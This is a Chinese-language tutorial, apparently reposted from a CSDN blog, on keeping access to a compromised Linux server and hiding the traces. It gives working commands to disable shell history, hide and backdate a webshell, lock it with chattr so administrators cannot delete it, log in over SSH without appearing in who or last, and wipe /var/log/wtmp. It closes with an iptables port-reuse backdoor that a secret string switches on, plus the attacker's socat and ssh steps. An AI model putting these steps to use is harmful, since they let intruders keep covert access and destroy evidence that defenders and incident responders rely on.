linux权限管理教程(Linux权限维持隐藏踪迹篇)

linux权限管理教程(Linux权限维持隐藏踪迹篇)(1)

隐藏历史操作命令

linux中可以使用history查看shell中历史输入的命令。如果我们希望在shell中执行的命令不被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

#禁用历史记录功能 [space]set o history 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录 #重新开启历史记录功能 [space]set -o history #删除具体的某个记录 history -d 数组

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史记录中

隐藏文件/文件夹

1. 创建隐藏文件或者文件夹

touch .123.txt mkdir .a #文件名/夹前面加一个 点 就代表是隐藏文件/夹

linux权限管理教程(Linux权限维持隐藏踪迹篇)(2)

修改文件时间戳

linux下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。假设我们上传了一个隐藏后门.webshell.php

1. 上传后门

明显看到.webshell.php时间戳不一样,ls-al,查看到的时间为文件修改的时间

linux权限管理教程(Linux权限维持隐藏踪迹篇)(3)

我们还可以使用stat命令来查看文件具体的时间戳

stat 文件名

linux权限管理教程(Linux权限维持隐藏踪迹篇)(4)

在Linux中,没有文件创建时间的概念。只有文件的访问时间、修改时间、状态改变时间。也就是说不能知道文件的创建时间。但如果文件创建后就没有修改过,修改时间=创建时间

stat查看时间戳有三种时间属性

linux权限管理教程(Linux权限维持隐藏踪迹篇)(5)

2. 修改时间戳

直接利用 touch 就可以,比如参考 index.php 的时间,再赋给 .webshell.php,结果两个文件的时间就一样了

touch -r index.html .webshell.php

linux权限管理教程(Linux权限维持隐藏踪迹篇)(6)

连接webshell,可见隐藏文件也可以进行连接的。

linux权限管理教程(Linux权限维持隐藏踪迹篇)(7)

隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件。

chattr i .webshell.php 锁定文件,此时无法查看 lsattr .webshell.php 属性查看 chattr -i .webshell.php 解除锁定 rm -rf .webshell.php 删除文件

linux权限管理教程(Linux权限维持隐藏踪迹篇)(8)

隐藏远程SSH登陆记录

在linux中可以使用last查看账号ssh登录情况

last|grep root

当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间

linux权限管理教程(Linux权限维持隐藏踪迹篇)(9)

ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到

ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i

清除last记录

echo “”>/var/log/wtmp

此时即看不到用户登录信息

linux权限管理教程(Linux权限维持隐藏踪迹篇)(10)

端口复用

端口复用是指不同的应用程序使用相同端口进行通讯。我们可以通过端口复用来达到隐藏端口的目的。其他作用还有很多,如内网渗透中,搭建隧道时,服务器仅允许指定的端口对外开放。利用端口复用可以将3389或22等端口转发到如80端口上,以便外部连接。

1. 利用iptables进行端口复用

假设主机开放的web服务是80端口,在被拿下的主机上执行如下命令

# 创建端口复用链 iptables -t nat -N LETMEIN # 创建端口复用规则,将流量转发至 22 端口 iptables -t nat -A LETMEIN -p TCP -j REDIRECT --to-port 22 #开启开关,如果接收到一个含有 threathuntercoming 的 TCP 包,则将来源 IP 添加到加为 letmein 的列表中 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT #关闭开关,如果接收到一个含有 threathunterleaving 的 TCP 包,则将来源 IP 从 letmein 的列表中移除 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it,如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

linux权限管理教程(Linux权限维持隐藏踪迹篇)(11)

攻击者的linux系统上执行如下

#开启复用 echo threathuntercoming | socat - tcp:192.168.110.131:80 #ssh使用80端口进行登录 ssh -p 80 root@192.168.110.131 -T /bin/bash -i #关闭复用,此时不能用80端口进行ssh连接 echo threathunterleaving | socat - tcp:192.168.110.131:80

连接目标80端口成功连接ssh

linux权限管理教程(Linux权限维持隐藏踪迹篇)(12)

ps:进行端口复用后同时也可以用默认的22端口进行ssh连接

原文链接:https://blog.csdn.net/qq_44159028/article/details/124196458

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页